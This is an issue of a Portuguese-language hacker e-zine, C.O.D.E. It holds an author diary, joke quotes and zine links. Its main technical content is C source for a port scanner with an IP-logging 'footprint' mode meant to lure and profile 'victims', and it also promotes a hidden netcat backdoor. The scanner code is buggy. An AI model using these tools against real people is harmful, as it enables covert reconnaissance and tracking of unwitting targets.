<-----xx----------xxx----------xxx-----------xxxxx----->
 Recomendo que voce visualize essa zine com o Firefox 
 ou Internet Explorer ou Opera, visualizando o texto com
 tamanho 'normal' (isso se vc quiZer "perfeição" =). Ou 
 até mesmo com o notepad  usando Fonte Times New 
 Roman, tamanho 12, estilo de fonte normal. Ah! Não se
 esqueça da 'Quebra automática de linha' ;-)
<-----xx----------xxx----------xxx-----------xxxxx----->

[]==-----------------x-------X----------x-----------------------==[]

  Atenção: Se voce sai por ai dizendo para as meninas que é
  hacker, fica contando papo que invadiu fulano de tal e desviou
  num sei o que (mesmo sendo verdade -> dificil seu lamah), ou 
  se voce é um pirralho de + ou - 15 anos, faça um seguinte: Saia
  fora daqui, ou melhor -> Va da o cú seu lamah!
   
[]==-----------------x-------X----------x-----------------------==[]

===============DXXX=============================xxxxx=======
============================================================
||XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
||XXXXXXX VIPER CORP APRESENTA   XXXXXXXXXXXXXXXX
||$$$$%%%%%$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
||$$$$$[[[+ ========================================== 
||$$$$$[[[+                                                                  
||$$$$$[[[+                                   
||$$$$$[[[+     -[+]------------------------[+]-    
||$$$$$[[[+                   C.O.D.E              
||$$$$$[[[+                                     
||$$$$$[[[+    COMPUTADORES - ORGASMO - DESTRUIÇÃO - 
||$$$$$[[[+                  'E-ZINES' 
||$$$$$[[[+     [As 4 coisas que eu mais gosto na vida] 
||$$$$$[[[+              
||$$$$$[[[+            -[+]----------[+]-   
||$$$$$[[[+                         \  |   /
||$$$$$[[[+ [EU AMO NÃO TER BANNER oO -.- Oo] 
||$$$$$[[[+                                                  
||$$$$$[[[+   NÃO MANDE MAIS SEUS ASCIIs PARA 
||$$$$$[[[+         <b-fox@bol.com.br>
||$$$$$[[[+ 
||$$$$$[[[+ [Talvez com psicologia reversa  alguém 
||$$$$$[[[+  possa enviar ASCIIs legais]  
||$$$$$[[[+
||$$$$$[[[+
||$$$$$[[[+ ========================================== 
||XXANO 1 - Nº02  00/00/2008 BY 6_Bl4ck9_f0x6 XXXXXXXXXX
||XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
====================================================
===============DXXX=============================xxxxx=======

----- C4p1Tul0 00           


[=] + =========================================== + [=]
         Introdução (Hum... Introduzir tudo rsrs) 
[=] + =========================================== + [=]

Olá galerinha do mal, sentiram saudades do tio fox? Depois de 
tanto tempo estou eu aqui escrevendo +1 edição da C.O.D.E. Achu que
voces não aguentam mais ter duas introduções a cada edição Huahau!!!
Po galera, é chato mesmo ter que ficar introduzindo em voces 2 coisas 
assim na lata hauhauha!!! Ei ei ei, espero que saibam que a primeira 
intro (essa que vc está lendo) é utilizada por mim para me desculpar pela 
demora desta e de outras eds que demorarem para sair (oO) e tals, a outra
introdução já é falando do que vai ter na zine e falando sobre os BONUS!! 
que acompanham essa edição =) Bonus é legal, eu adoro bonus, compro 
chiclete só pra ter as figurinhas como bonus XP (-.- rsrs). Mas vamos lá, 
voces devem estar querendo saber porque a zine atrazou, mas espera ai!!
Ei ei ei, já se passaram dois meses? Vixi, nem!!! Acho que to escrevendo 
ela sedo d+, vou indo, samana que vem eu continuo.

=====================
Uma semana depois
=====================

oi oi oi, voutei hauhauh!!! Nem!!! hauhauh!!! Enfim, onde eu parei?
ah! Porque a sua, a minha, a nossa revista hacker do ano atrasou. 
Ei, antes de começar gostaria de dizer que um dia minha zine vai ser
uma Axur05 da vida, vai ser uma rwx ou até mesmo uma thebug e tals,
a medida que eu aprendo eu escrevo, ou seja, aqui voces vão ter todo 
meu conhecimento que a cada dia aumenta mais =) Sem contar que
daqui uns dias o BSDaemon vai ta me pedindo autografo XP (Brincadeira, 
to brincando, calma rsrs). Porra!! Responde logo pq a zine atrazou!!!
Bem, ela atrazou porque eu quiz, ponto. 

Xauzim.


[+ ======X============X===============X===== +]
                          INDICE 
[+ ======X============X===============X===== +]
        

##########################################################                        
#Que a força esteja com voce jovem - Meu professor eh foda! 
#(star wars_) [-.-]. Meu professor gosta de fala isso para
# zuar. Tenho que parar de tentar explicar besteira -.-  
##########################################################               
              
[xXxxxxxxxxxXxxxxxxxxxxxxXxxxxxxxxxxxxxxxXxxxxxxxxxxxxXxxxxxx] 

#include <x00. Introdução (Hum... Introduzir tudo rsrs)............/6_Bl4ck9_f0x6 
#include <x01. Frases do dia>....................................../6_Bl4ck9_f0x6
#include <x02. Emperial[ScanneR] v0.1>............................./6_Bl4ck9_f0x6
#include <x03. Dedicatorias>......................................./6_Bl4ck9_f0x6
#include <x04. Palavras do autor>................................../6_Bl4ck9_f0x6
#include <x05. Introducao a Zine>................................../6_Bl4ck9_f0x6
#include <x06. ESPECIAL C.O.D.E [Zines de ontem e de hoje]>......../6_Bl4ck9_f0x6
#include <x07. Curso de Batch Parte - 3>.........................../6_Bl4ck9_f0x6
#include <x08. Entrevista com Marcos Flavio Araujo Assunção>......./6_Bl4ck9_f0x6
#include <x09. Curso de linguagem C - Parte 3>...................../6_Bl4ck9_f0x6
#include <x10. File extension Manipulation>......................../6_Bl4ck9_f0x6
#include <x11. Telnet Secure>....................................../6_Bl4ck9_f0x6
#include <x12. O Banimento nunca existiu XP......................../6_Bl4ck9_f0x6
#include <x13. Emperial Encripter v0.1>............................/6_Bl4ck9_f0x6
#include <x14. The King of Calculators rsrs>......................./6_Bl4ck9_f0x6
#include <x15. O Fantastico netcat>................................/6_Bl4ck9_f0x6
#include <x16. Mail Box>.........................................../6_Bl4ck9_f0x6

The End>

----- C4p1Tul0 01
           

[+] X======================================X +] 
                 FRASES DO DIA
[+] X====================================== X+] 


------------------------------ cut ----------------------------------------

                Especial Murphy - O sabio dos sabios hauhauh!!!

===================================================================
"Sorria... amanhã será pior." 
===X====================X========================X=================
"Se você está se sentindo bem, não se preocupe. Isso passa." 
===X====================X========================X=================
"Não importa o que sai errado, sempre dará a impressão de certo."
===X====================X========================X=================
"Se a experiência funcionou na primeira tentativa, tem algo errado." 
===X====================X========================X=================
"Mais vale um pássaro na mão do que um voando sobre a nossa cabeça." 
===X====================X========================X=================
"Uma pessoa saudável é aquela que não foi suficientemente examinada." 
===X====================X========================X=================
"Tudo que é bom na vida é ilegal, imoral ou engorda."
===X====================X========================X=================
"Por que será que números errados nunca estão ocupados?"
===X====================X========================X=================
"Um atalho é sempre a distância mais longa entre dois pontos."
===X====================X========================X=================
"Se você não está confuso, não está prestando atenção."
===X====================X========================X=================
"Sexo leva muito menos tempo do que os problemas que dele decorrem."
===X====================X========================X=================
"Sexo é como neve: você nunca sabe quantos centímetros vai atingir 
e o quanto vai durar."
===X====================X========================X=================
"Sexo é hereditário: se seus pais não fizeram, há uma grande chance 
de você também não fazer."
===X====================X========================X=================
"Você não pode gerar um bebê em um mês engravidando nove mulheres."
===X====================X========================X=================
"Não vai doer, prometo."
===X====================X========================X=================
"Na guerra, o inimigo ataca em duas ocasiões: quando ele está
preparado, e quando você não está."
===X====================X========================X=================
"Um plano de invasão ao quartel inimigo prova que você foi 
inteligente o bastante para planejar, estúpido o bastante para 
tentar, e sortudo o bastante se sobreviver."
===X====================X========================X=================
"Sexo é uma das nove razões para a reencarnação, as outras oito não
importam."
===X====================X========================X=================
"Tudo leva mais tempo do que se pensa, a não ser no caso de 
ejaculação precoce."
===X====================X========================X=================
"Você sabe que vai ser um dia ruim quando:
- seu irmão gêmeo esquece o dia do seu aniversário;
- você põe sua cueca ao contrário e sente que ficou mais confortável;
- você acorda e descobre que seu colchão d’água está com vazamento, 
e então você descobre que não tem um colchão d’água."
===X====================X========================X=================
"Amigos vêm e se vão, inimigos se acumulam."
===X====================X========================X=================
"Cartas importantes que não contém nenhum erro serão despachadas 
em lugar errado. Cartas com erros aparecerão em duplicata na mesa 
do chefe."
===X====================X========================X=================
"Uma maneira de se parar um cavalo de corrida é apostar nele."
===X====================X========================X=================
"Toda partícula que voa sempre encontra um olho."
===X====================X========================X=================
Não importa que voce caia, desde que voce apanhe algo no chao
quando se levantar.
===X====================X========================X=================
É quase sempre mais fácil entrar do que sair de qualquer coisa.
===X====================X========================X=================
Voce pode observar muito só olhando.
===X====================X========================X=================
Voce nunca pode identificar qual dos lados da torrada é o lado que
se deve passar a manteiga.
===X====================X========================X=================
Um objeto sempre cai de forma a causar o maior prejuízo possível. 
===X====================X========================X=================
Um contrato verbal é aquele que nao vale o papel em que seria escrito.
===X====================X========================X=================
Nao importa o quando o produto custa, mas quanto voce ganha 
de desconto.
===X====================X========================X=================
Arcebispo. Um eclesiástico cristão com o grau superior ao de Cristo.  
Puritaninsmo. O enorme medo de que alguém, em algum lugar, possa ser
feliz. 
===X====================X========================X=================
Se é verdade, é biologia.
Se fede, é química.
Se não funciona, é fisica
===X====================X========================X=================
Mal de cú é rola fina --> by Mario Miranda Magalhães
===X====================X========================X=================
Sempre existe mais um bug 
===================================================================
------------------------------ cut ----------------------------------------

[xXxxxxxxxxxXxxxxxxxxxxxxXxxxxxxxxxxxxxxxXxxxxxxxxxxxxXxxxxxx] 

[xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxXxx]
[Vo da 3 tiro no seu suvaco pra voce morrer 
[achando graça infeliz!!!] 
[xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxXxxx]
              ##############X#############X############X###############                                        
                            
Antenção: Essa e-zine é gratuita, se voce vender ela eu quero a minha parte. 

Tem que ser assim mano hauhau!!! O Derneval também faz isso. Se vender!!! 
Quero minha parte!!! 


----- C4p1Tul0 02


          [=] + ==========XXXX============ + [=]
                *** Emperial[ScanneR] *** 
          [=] + ==========XXXX============ + [=]


As vezes nos precisamos varrer algumas portas em um sistema X e nao
temos uma ferrramenta pratica, simples e crua. Recorremos ao nmap 
apenas para ver algumas portinhas e tals, mas o nmap tem muitos 
componentes e o PC num é teu, dai complica extract for system32 caso
voce nao saiba editar um PATH na sua vida :P,  mas para evitar isso eu
fiz esse scanner de portas simples e pratico. Quando nossa vitima é 
leiga se faz necessario a utilização de algum scanner qualquer para nos
mostrar o que queremos, os scanners de portas. Usando TCP syn é muito
facil detectar um scan, mas como sempre -> vitimas leigas nao contam <-
Espero que voces gostem da ferramenta, ela está sendo muito util para mim.


                   ---- Emp_scan.c ---- 

/*
*             Emperial[ScanneR] v0.1 by 6_Bl4ck9_f0x6
*
*                      --> Windows <-- 
*
*            [X] ============X==============X===== [X]
*                 XxX   VIPER CORP GROUP  XxX
*                   <-> Underground Max <->
*            [X] ============X==============X===== [X]
*
*                  Port Scanner TCP/HandShake
*                   com Funcionalidades de
*                      -> Footprint <-
*
*      ---------------------------------------------------------------     
*     [ -> Dedico essa ferramenta e todas as outras que surgirem  <- ]
*     [ -> a todos os membros desse grupo de potencial, um abraço <- ]
*     [ -> a todos os  caras do grupo e  um beijo para  todas  as <- ]
*     [ -> minas, em  especial a  mais nova integrante do grupo   <- ]
*                         -> Mina Mistery <-
*        --> Espero que fique ao nosso lado por muito tempo.  <--    
*     ---------------------------------------------------------------                    
*                  
*
*      Atenção: Para usar a funcionalidade de http footprint
*               Use: Emp_scan.exe http/footprint
* 
*      OBS: Deixe seu firewall abrir a porta 80 de seu host 
*           para receber as conexões de suas vitimas.
*
*          Use um redirecionador de URL e mascare seu IP.
*          Logo depois mande seu endereço Mascarado para 
*          a vitima, quando a mesma acessar voce terá o 
*          endereço IP dela e informações uteis para um
*          ataque mais ofensivo do que o FootPrint. Con-
*          sulte a documentação. Baixe-a em:
*           
*     http://www.hunterhacker.xpg.com.br/Emp_scan_Document.pdf                     
*/

// HTTP/FOOTPRINT EM DESENVOLVIMENTO!!!!!!!!!!!

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>

#define BADSTAT -1
#define BACKLOG 10
#define MINDHUNTER  "http/footprint"

int tsuder (void){
           
       printf ("                  6"); Sleep (200); 
       printf ("_"); Sleep (100);       
       printf ("B"); Sleep (200);
       printf ("l"); Sleep (100);
       printf ("4"); Sleep (200);
       printf ("c"); Sleep (100);
       printf ("k"); Sleep (200);
       printf ("9"); Sleep (100);
       printf ("_"); Sleep (200);
       printf ("f"); Sleep (100);   
       printf ("0"); Sleep (200);
       printf ("x"); Sleep (200);
       printf ("6\n\n"); Sleep (100); }
             
WSADATA dados;
struct sockaddr_in vitima;
struct sockaddr_in list_ing;
char banner[255], my_footprint[255];
char buffer_received[255];
char httpfoot[sizeof (MINDHUNTER)];

int main (int argc, char *argv[]){
     
       int x=0, i=0, size, check;
       int my_sock, connectx, door; 
       char about[]="                 Emperial[ScanneR] \n\n\
                        BY\n";
       system ("cls");
       
      if (argc==1){goto Smile;}
      
      /* Anti Stack Overflow: */ 
      
      strncpy (httpfoot, argv[1], strlen (MINDHUNTER));             
      printf ("[%d] Protegido contra Stack Overflow\n", strlen (httpfoot)); 
     
      if (strcmp (httpfoot, MINDHUNTER) == 0){
      system ("cls");
      system ("title HTTP FootPrint");
      printf ("HTTP FootPrint by 6_Bl4ck9_f0x6\n\
Copyright 2006-2008 Viper Corp.\n\n");
      printf ("======================================================\n");
      printf ("%s\n", about);
      tsuder ();
      
      if (WSAStartup (MAKEWORD (1,1),&dados) == SOCKET_ERROR){
         fprintf (stderr, "Erro ao iniciar dll's de socket!\n");
         WSACleanup();
         exit (BADSTAT);}
             
                 
       my_sock = socket (AF_INET, SOCK_STREAM, 0);
        
       if (my_sock == -1){
            perror ("Error socket!");
              WSACleanup ();   
                exit (BADSTAT);}
                
      list_ing.sin_family = AF_INET;
      list_ing.sin_port = htons (80);
      list_ing.sin_addr.s_addr = INADDR_ANY;      
      
      memset(&list_ing.sin_zero,0,8);
      
      if (bind(my_sock, (struct sockaddr *)&list_ing, sizeof (list_ing)) == -1){
      fprintf (stderr, "Erro ao Bindear porta!\n");
      exit (BADSTAT);}
      
      fprintf (stdout, "Porta %d em Listening...", 80);
      
      if ((listen (my_sock, BACKLOG)) == -1){
           system ("cls");
           puts ("Ops! Nao consegui escutar\n");    
           return 0;}
      
      check = accept (my_sock,0,0);
      
      if (check==-1){
          puts ("Problemas na conexao!\n");
           return 1;} 
      
      printf ("\n\nO endereco IP [%s] estabeleceu uma conexao na porta [%d]\n",
      inet_ntoa (list_ing.sin_addr), ntohs (list_ing.sin_port));
      
      
      /* Fazer um looping para ele sempre voutar a escutar na porta e gravar 
      no file os log's =) */
      
      FILE *foot_log;
      
      if ((foot_log = fopen ("Foot_log.log", "a")) == NULL){
      puts ("Nao consegui criar o arquivo de log,\n");
      puts ("possivelmente por fauta de espaco no disco\n");
     
      // Mas da pra visualizar na shell -> puts (buffer_received =) <- 
      
      return (1);}
    
      recv (my_sock, buffer_received, strlen (buffer_received),0);
      fprintf (foot_log, "%d", buffer_received); 

      puts ("\nArquivo de log criado com sucesso!\n");
      fclose (foot_log);
      printf ("\n======================================================\n");
      exit (BADSTAT);}
       
       Smile:    
       if ((argc < 4) || (argc > 4)){
            printf ("\nx===x==x=====x===x=====x==x===x==x==x==x===x\
===xx==x==\n"); 
           printf ("%s\n", about);
            
           tsuder (); 
            
            fprintf (stderr, "Uso: %s <ip> <porta_inicial> \
<porta_final>\n\n", argv[0]);
            printf ("x===x==x=====x===x=====x==x===x==x==x==x===x\
===xx==x==\n"); 
            Sleep (200);
            exit (BADSTAT);}

       door = atoi (argv[2]);               
      
       if (WSAStartup (MAKEWORD (1,1),&dados) == SOCKET_ERROR){
               puts ("Problemas -> WSAStartup");
                  exit (BADSTAT);}
       
       printf ("%s\n", about);
       tsuder (); 
       fprintf (stderr, "[X] ============X==============X===== [X]\n\n");
       for (door;door<= atoi (argv[3]);door++){
           
       my_sock = socket (AF_INET, SOCK_STREAM, 0);
        
       if (my_sock == -1){
            perror ("Error socket!");
              WSACleanup ();   
                exit (BADSTAT);}
          
       vitima.sin_family = AF_INET;
       vitima.sin_port = htons (door);
       vitima.sin_addr.s_addr = inet_addr (argv[1]); 
        
       for (x;x<8;x++){
              vitima.sin_zero[x]=(char)0;}
         
       size = sizeof (vitima);   
       
       SetConsoleTitle ("Varrendo usando TCP -> SYN "); 
       connectx = connect (my_sock, (struct sockaddr *)&vitima, size);
     
       if (connectx == SOCKET_ERROR){
            fprintf (stderr, "Porta [%d] fechada\n", door);}
       else {
       fprintf (stdout, "Porta [%d] Aberta <-- \n", door);
       
       puts ("\nBanner:\n");
       
       if (recv (my_sock, banner, sizeof (banner), 0) < 0){
            fprintf (stderr, "Erro ao recever banner!\n");
              exit (BADSTAT);}
              
       puts (banner);
       
       FILE *scan_log;
       scan_log=fopen ("scan_log.txt", "a");

       if (!scan_log){
               perror ("\nErro ao abrir arquivo de log -> ");
               printf ("\n");
               continue;}
     fprintf (scan_log, "Porta [%d] em [%s] Aberta\
\n", door, inet_ntoa (vitima.sin_addr));
     fclose (scan_log);}}         
     fprintf (stderr, "\n[X] ============X==============X===== [X]\n");     
      
       closesocket (my_sock);
       WSACleanup ();      
       return (0);
      }
  
        ---- cut here ---- 

----- C4p1Tul0 03
           
[=] + =========XXXX=========== + [=]
         Dedicatorias
[=] + ==========XXXXX========= + [=]

Dedico essa edição da C.O.D.E a minha amiga 'Linda' por me passar as
respostas da prova de matematica, ao meu amigo Juvenil silva que mora em 
araporã - MG, que é inesquecivel em minha vida (mesmo ele esquecendo de
mim) porque faziamos ritual de consagração de pentagrama em casas 
abandonadas com direito a vela vermelha, incenso e tudo mais Huahuah!! 
Bebiamos feito gambas e nem tinhamos grana pra voutar pra casa, pois iamos
pra cidades vizinhas e gastavamos todo nosso dinheiro com pinga e conhaque 
huauhua!!! dae eu sempre tinha que recorrer a minha madrinha. Ah! e também 
passavamos cheque sem fundo em pizzarias e ainda queriamos troco hauhauh!!! 
Passavamos noites em lans bebendo cerveja e iamos nos finais de semana para 
um pomar cheirar cola com os punks Huahauh!!! Para conhecer essa figura 
procurem meu orkut pesquisando por 6_Bl4ck9_f0x6. Lembrando que eu e o 
juvenil também faziamos assaltos com arminha de brinquedo "quebrada"...
huahauh!!! Esse cara é muito importante em minha vida =) Ainda
lembro-me como se fosse ontem meus tempos de delinquente rsrs.

E gostaria de dedicar a mais uma pessoa, nem preciso falar o que todo mundo já
sabe rsrs, mas para quem não sabe gostaria de dizer que dedico + essa edição da
zine 'principalmente' a minha amada, linda, maravilhosa, Patricia. Porque sempre 
me apoia mesmo eu estando errado (claro que depois de puxar minha orelha) e 
sempre está disposta a me tirar de enrrascadas (em todos os sentidos). Estou
me referindo ao meu grande amor Luzinha =) 

Lu, essa zine é pra voce ;-)

----- C4p1Tul0 04
           

[=] + ===XX===CC=====c========= + [=]
         Palavras do autor         
[=] + ===XX===CC=====c========= + [=]


Neste exato momento estou fumando um cigarro e bebendo uma loira
gelada que roubei de meu padrasto, são exatamente 23:04 e hoje eu es
pero escrever muito para publicar a zine o mais rapido possivel. Pra 
quem não sabe na seção 'Palavras do autor' eu escrevo tipo um diario
, por isso não me importa que voces leiam, eu escrevo para masagear 
meu ego =) Os primeiros goles de cerveja são os melhores, depois 
ela começa a perder o sabor e voce começa a curtir o clima rsrs. Putz, 
não me sinto bem digitando com um cigarro na boca enchendo meus 
olhos de fumaça, mas é o geito. Espero do fundo do meu coração ficar 
bebado com essa garrafa, pois não bebo a algum tempo e meu organismo 
ta fraquim-fraquim, assim não preciso roubar a ultima garrafa no 
congelador rsrs, pois a bronca d manhã vai ser menor se eu tivesse pegado 
só uma, lembre-se que eu disse MENOR e não que ela não vai existir. 
Não tenho muito que falar aqui não, só queria que as pessoas entendesem 
que adolescente não precisa ser humilhado porque não trabalha e passa 24
horas por dia na frente do computador, tabom que eu num sou muito chegado
a estudar e tals, detesto mecher com algo que eu não gosto, mas minha mãe
não entende isso. Sem contar naquelas frazes tipicas de familia da classe menos
privilegiada do globo capitalista: 'A energia esse mes eu não pago!! Vc tem que
aprender, não faz nada na vida, só come, bebe e dorme. Eu não sou obrigada 
a sustentar marmanjo barbado.'  Muitos de voces devem ter escutado essa frase
ou algum dia escutarão, isso se voces são de classe baixa como eu. Ja os ricos
nem precisão, porque tem o pão e terão o pão de cada dia sempre, não tenho 
muitas metas na vida, nem sei se viver tem graça mais depois que voce sabe 
que vai morrer. Teve um tempo que eu confiava nas pessoas, depois aprendi
a falar e a caminhar. A triste realidade em que vivemos nos
faz cometer crimes, tenho varios amigos presos porque desviaram grana dos
mais favorecidos por assim dizer, mas ninguem ver que eles fizeram isso porque
não tinham escolha, no Brasil minha gente... ô da, ou dece. Preciso de uma
razão para viver, preciso de algo para acordar e saber que aquilo vai me dar 
prazer, e essa sensação eu encontrei na informatica, encontrei na frente de um
computador para ser mais exato. Eu amo ler os papers do Nash, as vezes tem 
coisas que eu não entendo, mas sou tão esforçado que passo horas e horas 
olhando para aquele codigo e tento chutar o que seja. Voces sabem qual é o prin
cipal problema de um autodidata (pra quem não sabe, os autodidatas são aqueles
caras que aprendem as coisas sozinhos)? É que nos queimamos muitas etapas em
qualquer tipo de aprendizagem, nos aprendemos coisas avançadas e quando nos
perguntam coisas basicas apenas falamos que não sabemos, mas porque? Porque
não temos quem nos ensine do começo, ou até pode existir algum texto em algum 
lugar que tenha, mas nós não os encontramos para ler ou quando encontramos
passamos para o final, talvez por anciedade (que é o meu caso) ou simplesmente
porque temos certeza que entenderemos sem precisar ler o basico. Nessa porra 
de cidade que eu moro nem se quer tem um cursinho de C, ou Assembly, temos 
que ralar pra conseguir aprender algo, isso é foda!! Resolvi escrever essa zine para
protestar contra "fauta de informação intuitiva" para quem ta começando... Nossa!!
Acho que a cerveja ja ta me pegando, e isso é bom, muito bom achei que não 
conseguiria ficar nem tonto com uma garrafa, mas agora eu realmente expresso o 
que eu sinto. Muitos que conseguiram acesso a essa zine são de classe media ou 
media alta, pois os menos privilegiados nem acesso a net conseguem, esse é o publico
que eu quero alcançar. Escrevo um monte de texto para o pessoal, ja fiz muito texto 
bom caras, nem quero fama nem nada, pois quem me conhece sabe que nem faço 
textos por fama justamente porque troco de nick como quem troca de cueca. Quero 
ajudar as pessoas que assim como eu querem um material legal, que seja objetivo e 
que não precisem procurar muito para encontrar, por isso gosto de fazer algumas 
receitas de bolo PARA INDUZIR O INICIANTE A APRENDER. Tem neguinho 
ae que me chama pra arrumar os PCs deles eu vou e descolo uma grana, mas quando 
vou ver.... num tenho mais nada!! Mundo capitalista da porra, as pessoas poderiam 
viver de troca como antigamente, se bem que eu contribuo muito com minha situação 
financeira eheh, bebia feito um gamba e gastava minha grana pagando cerveja pra putas,
e ae, que futuro essa porra me deu? Tenho 18 anos e nem futuro eu to vendo, não 
quero passar minha vida vivendo as custas de minha mae, gostaria de um emprego em 
que o empregado só precisasse ter o primeiro ano e pronto. A unica coisa que me doi 
e saber que meu cigarro acabou e eu nem tenho um tustão furado no bolso, eu olho pros
lados e digo: Caramba!!! Cacete!!! hauhauha!!! Tenho nojo de escola, juro por deus que 
seu eu pudesse eu tacava fogo naquela porra. Ops, ja to legal e to escrevendo d+, mas 
vou buscar a ultima cerveja, eu quero é passar mal!!!! Vamos aos textos a noite vai ser 
longa, vou adaptar alguns textos que escrevi e criar coisas novas, vamos botar a mão 
na massa =)

---------------------------------------
Acabou de acontecer comigo
==========================

Eu acabei de matar uma lagartixa gigantesca -.- Nem queria, fui deixar a garrada vazia 
e quando fechei uma portinha de madeira que tem aqui em casa acabei esmagando a 
coitada -.-. Sou um assasino -.-, a coitada ta la na cozinha agonizando com suas tripas
pra fora e com certeza as formigas ja devem ta de olho, bem feito pra ela. Foda foi o 
susto cara, dei um pulo pra traz porque morro de medo dessas paradas que se mechem
e que apareceram na terra de forma inexplicavel. Pq deus fez as baratas e as lagartixas? 



----- C4p1Tul0 05


[=] + =======xx==============xx=========== + [=]
         XX -> Introdução a zine <- XX
[=] + =======xx==============xx=========== + [=]


Hi! Nessa edição temos uma super entrevista com nada mais nada menos que:
Marcos Flavio Araujo Assunção, é isso ae mano, espero que gostem =) Vai
anexado a zine um tutorial Bonus com shots e tudo mais (rsrs) onde estou 
mostrando como remover aqueles virus e trojans de quinta categoria. 
Lembrando: A algum tempo DESENVOLVI uma forma de inutilizar os olhos 
humanos caso alguem queira visualizar os valores sequenciais nas chaves de 
registro do windows ou visualizar o que está se iniciando na maquina com algum 
visualizador de coisas que se iniciam... ? ... Peguei pesado agora, isso que eu 
chamo de não achar as palavras certas \O/. Enfim, caso algum maluco use o 
process view ou qualquer outro visualizador de coisas que se iniciam (.... ? ... 
Olha eu de novo) não vai ver nada... Bah! Leiam a CODEx00 e procurem 
informações com relação a essa técnica, procurem na seção 'BackDoor 
Camuflagem for avast! antivirus'. Vale lembrar que voce pode usar essa técnica
para qualquer coisa que se inicie na maquina =) Ah! essa técnica que até pouco 
tempo não tinha nome vai ser chamar de agora em diante: 'Patricia' =) O 
camuflagem é um backdoor baseado no netcat que se utiliza desta técnica 
para se esconder do pessoal =)

OBS: A técnica é minha, se existir algum maluquinho divulgando ela e não postando 
os creditos vai rolar ai uma perceguiçãozinha a esse sugeito.

Se voce tem uma ex-namorada chamada Patricia que te traiu com um negão e 
voce não gosta de ver esse nome NA MINHA TÉCNICA, gostaria de mandar 
voce se fuder!!! Porque a técnica é minha e eu chamo como eu quiZer, moro? Mas
espera aí!!! Porque voce ta falando nisso agora? Aham!!! Eu resolvi compilar e 
disponibilizar o executavel para voces na zine como bonus ;-) Obvio que voce não
vai sair por ai executando as coisas sem ver o que se encontra dentro dele e tals, 
por isso eu compilei com o Quick Batch File Compiler e a senha é 'tsuder', mas 
nem esquentem que tem um file junto com o 'exe' que tb mostra a senha e mostra
algumas instruções de uso. Tipo, não gostei de ver o caras da revista CHMOD 
fazendo algo "parecido", mas que seja, tipo... Desenvolvi a patricia no natal de 
2007, tenho provas (E COMO TENHO) que o post é antigo, os caras a + ou -
umas duas semanas publicam a revista pegando um legitimo executavel 
(provalmente) e dizendo que sabem fazer a patricia, ou seja, o placker devia olhar 
mais essas coisas cara, tipo... sei lá, coincidência? Acho que isso ta + pra plagio!
Nesta ed da C.O.D.E temos ainda uns cursinhos legais e muuuuuuuuita informação 
para voce amigo, porque o que diferencia a C.O.D.E das outras zines é que temos 
muuuuuito conteudo =)

----- C4p1Tul0 06

 [+ ====================================== +] 
        X xX   ESPECIAL C.O.D.E   XxX 
          + Zines de ontem e de hoje + 
 [+ ====================================== +] 


Venha conhecer o fantastico mundo das e-zines Hacker baby =) Não é de hoje 
venho falando sobre essas verdadeiras belezinhas da literatura, não é segredo pra 
ninguem que sou um apaixonado por essas porras que normalmente são distribuidas 
em 'txt', eu simplesmente viajo caras, é muito bacana voce le essas paradas. Ae vai 
mais zines para voces curtirem pessoal. Ei! Vale lembrar que nas edições anteriores
da C.O.D.E foram mais dezenas de links para outras zines e por isso recomendo
que de uma olhadinha nas outras eds também, porque A DESTRUIÇÃO NÃO PODE 
PARAR PORRA!!! 

===============
Starting....

Essa primeira zine do especial C.O.D.E eu postei lá no forum-invaders.com.br, 
com seu respectivo comentario, vá da uma olhada lá e veja o que essa humilde zine
significa para nossa historia irmãos. Está é a PRIMEIRA ZINE 'HACKER' DO Brasil!!!  

 ____                  _          ______ _      _        _            
|  _ \                | |        |  ____| |    | |      (_)           
| |_) | __ _ _ __ __ _| |_ __ _  | |__  | | ___| |_ _ __ _  ___ __ _  
|  _ < / _` | '__/ _` | __/ _` | |  __| | |/ _ \ __| '__| |/ __/ _` | 
| |_) | (_| | | | (_| | || (_| | | |____| |  __/ |_| |  | | (_| (_| | 
|____/ \__,_|_|  \__,_|\__\__,_| |______|_|\___|\__|_|  |_|\___\__,_| 
                                                                      
                                                                      
                        BARATA ELETRICA, numero 0
                        Sao Paulo, 3 de dezembro de 1994
                        Bienio Poli - Sala  23
                        Cidade Universidade


http://www.hunterhacker.xpg.com.br/barata00.zip
http://www.hunterhacker.xpg.com.br/barata01.zip
http://www.hunterhacker.xpg.com.br/barata02.zip
http://www.hunterhacker.xpg.com.br/barata03.zip
http://www.hunterhacker.xpg.com.br/barata04.zip
http://www.hunterhacker.xpg.com.br/barata05.zip
http://www.hunterhacker.xpg.com.br/barata06.zip
http://www.hunterhacker.xpg.com.br/barata07.zip
http://www.hunterhacker.xpg.com.br/barata08.zip
http://www.hunterhacker.xpg.com.br/barata09.zip
http://www.hunterhacker.xpg.com.br/barata10.zip
http://www.hunterhacker.xpg.com.br/barata11.zip
http://www.hunterhacker.xpg.com.br/barata12.zip
http://www.hunterhacker.xpg.com.br/barata13.zip
http://www.hunterhacker.xpg.com.br/barata14.zip
http://www.hunterhacker.xpg.com.br/barata15.zip
http://www.hunterhacker.xpg.com.br/barata16.zip
http://www.hunterhacker.xpg.com.br/barata17.zip
http://www.hunterhacker.xpg.com.br/barata18.zip
http://www.hunterhacker.xpg.com.br/barata19.zip
http://www.hunterhacker.xpg.com.br/barata20.zip
http://www.hunterhacker.xpg.com.br/barata21.zip
http://www.hunterhacker.xpg.com.br/barata22.zip
http://www.hunterhacker.xpg.com.br/barata23.zip
http://www.hunterhacker.xpg.com.br/barata24.zip
http://www.hunterhacker.xpg.com.br/barata25.zip
http://www.hunterhacker.xpg.com.br/barata26.zip
http://www.hunterhacker.xpg.com.br/barata27.zip
http://www.hunterhacker.xpg.com.br/barata28.zip

============================================

	                                  zZZZZZZZZZZZZZZZz
	                                                zZ
	    cCCCCCCCCc         sSSSSSSSSs              zZ
	  cCCCCCCCCCCCCc     sSSSSSSSSSSSSs           zZ
	 cCCC       CCCCc   sSSS       SSSSs         zZ   
	cCCCc               SSSSs                   zZ  II NNn  NN EEEEE
	CCCCC                SSSSSSSSSSs           zZ   II NNNn NN EE
	CCCCC                   SSSSSSSSSs        zZ    II NN NnNN EEEE
